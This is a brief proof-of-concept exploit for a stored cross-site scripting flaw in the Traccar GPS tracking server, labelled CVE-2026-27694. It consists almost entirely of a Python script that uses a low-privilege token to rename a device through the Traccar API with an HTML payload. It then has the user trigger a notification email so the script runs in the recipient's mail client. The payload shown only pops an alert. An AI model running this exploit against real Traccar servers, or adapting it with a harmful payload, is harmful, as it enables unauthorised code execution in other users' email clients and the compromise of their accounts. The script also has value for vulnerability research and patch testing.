CVE-2026-27694 Traccar存储型XSS漏洞

import requests # Configuration TARGET_URL = "http://localhost:8082/api/devices" USER_TOKEN = "<LOW_PRIVILEGE_USER_TOKEN>" DEVICE_ID = 1 # Malicious Payload: Stored XSS via device name # This payload attempts to execute JavaScript when the email is rendered xss_payload = '<img src=x onerror=alert(\'XSS-CVE-2026-27694\')>' headers = { "Authorization": f"Bearer {USER_TOKEN}", "Content-Type": "application/json" } # Data to update device name with malicious payload payload_data = { "id": DEVICE_ID, "name": xss_payload, "groupId": 0, "category": "default" } try: # Send request to update device name response = requests.put(f"{TARGET_URL}/{DEVICE_ID}", json=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Trigger an event (e.g., geofence entry) to send the notification email.") print("[+] Check the email client for the alert popup.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")